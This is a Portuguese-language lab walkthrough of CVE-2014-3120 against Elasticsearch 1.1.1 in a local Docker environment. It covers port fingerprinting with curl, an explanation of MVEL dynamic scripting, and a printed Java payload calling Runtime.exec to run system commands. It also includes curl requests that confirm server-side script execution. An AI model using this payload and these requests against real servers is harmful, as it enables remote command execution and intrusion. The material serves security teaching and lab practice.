
Guia de laboratório passo a passo demonstrando a exploração do CVE-2014-3120 contra o Elasticsearch 1.1.1, abrangendo análise de vulnerabilidade, RCE via scripting MVEL e pós-exploração em um ambiente Docker.
Começando com o que está em execução no ambiente. Listamos todos os contêineres ativos:
docker ps

Resultado: O contêiner p1/lab10:latest está em execução, expondo 2 portas externamente:
| Mapeamento de portas | Protocolo |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (precisa de verificação) |
0.0.0.0:9300 → 9300/tcp | Desconhecido |
Observação inicial: As portas 9200 e 9300 são comumente conhecidas como as portas padrão do Elasticsearch. No entanto, não podemos concluir apenas com base nos números das portas - muitos outros serviços podem se vincular a qualquer porta.
⇒ Usamos curl diretamente em cada porta para verificar qual serviço está realmente em execução.
curl -i http://192.168.3.137:9300/

Análise da resposta:
curl: (52) Empty reply from serverAvaliação: O servidor aceitou a conexão TCP (sem recusa de conexão), mas não respondeu usando o protocolo HTTP. Isso corresponde ao comportamento do protocolo de transporte do Elasticsearch na porta 9300 - um protocolo binário usado para comunicação entre nós em um cluster, não HTTP.
⇒ Mentalidade: A Porta 9300 usa um protocolo binário → não pode ser explorada diretamente via curl/navegador. Mude para verificar a porta 9200 - a porta da API REST HTTP.
curl -i http://192.168.3.137:9200/

Análise da resposta:
| Campo | Valor | Significado |
|---|---|---|
name | "Rage" | Nome do nó do Elasticsearch (nome de personagem aleatório da Marvel - comportamento padrão de versões antigas do ES) |
version.number | "1.1.1" | Versão extremamente antiga - lançada em abril de 2014 |
build_timestamp | "2014-04-16T14:27:12Z" | Construída em 2014 |
lucene_version | "4.7" | Lucene 4.7 - mecanismo de indexação antigo |
tagline | "You Know, for Search" | Frase de assinatura característica do Elasticsearch |
Avaliação da Superfície de Ataque:

⇒ Mentalidade: O Elasticsearch 1.1.1 habilita Dynamic Scripting por padrão - permitindo que clientes enviem scripts (expressões MVEL) em consultas de pesquisa para o servidor executar. Sem um sandbox ou validação adequada, um atacante pode injetar um script malicioso para executar comandos do sistema. Próximo passo: verificar se o Dynamic Scripting está realmente ativo no alvo.
O Elasticsearch suporta um recurso de Scripting - permitindo que clientes enviem scripts (expressões matemáticas ou lógicas) dentro de solicitações de pesquisa para o servidor executar ao processar resultados. No Elasticsearch 1.x, o motor padrão para esse recurso é MVEL (MVFLEX Expression Language).
Nas versões do Elasticsearch anteriores à 1.2, o Dynamic Scripting está habilitado por padrão (script.disable_dynamic: false). Isso significa:
script_fields na API _searchjava.lang.Runtime.getRuntime().exec() para executar comandos do sistemascript_fields FuncionaQuando uma solicitação de pesquisa com script_fields é enviada, o Elasticsearch irá:
_searchscript_fields → encontrar o script a ser executadoEm Java, a maneira mais comum de executar um comando de sistema é:
Runtime.getRuntime().exec("command");
MVEL, como uma linguagem de expressão com acesso total a classes Java, permite invocar isso diretamente:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
Explicando cada parte:
| Parte | Explicação |
|---|---|
import java.io.* | Importa classes Java IO |
Runtime.getRuntime() | Obtém a instância do Java Runtime |
.exec("id") | Executa o comando shell id |
.getInputStream() | Obtém o fluxo de saída do processo |
new Scanner(...).useDelimiter("\\A").next() | Lê toda a saída como uma string |
⇒ Mentalidade: Com o Elasticsearch, a saída do RCE é retornada diretamente na resposta — sem necessidade de redirecionar para um arquivo e lê-lo novamente. Isso torna o exploit mais limpo e rápido de verificar.
Após identificar o alvo como Elasticsearch 1.1.1, o próximo passo é verificar se o Dynamic Scripting está realmente habilitado.
CVE-2014-3120 explora o fato de que o Elasticsearch permite que clientes enviem scripts dentro de solicitações _search. Se o script for executado pelo servidor, um atacante pode substituir a expressão inofensiva por um payload que chama o Java Runtime para executar comandos do sistema.
Primeiro, criamos um documento de teste para garantir que a consulta tenha pelo menos um resultado correspondente. Se nenhum documento corresponder, script_fields não será avaliado.
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
Em seguida, atualizamos o índice:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
Próximo passo, enviamos uma solicitação _search com script_fields contendo uma expressão MVEL inofensiva:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'

Enviamos o script "1+1" e o servidor retorna o resultado 2. Isso prova que o Elasticsearch não apenas recebe a solicitação _search, mas executa o script dinâmico no lado do servidor.
⇒ Dynamic Scripting está ativo no alvo.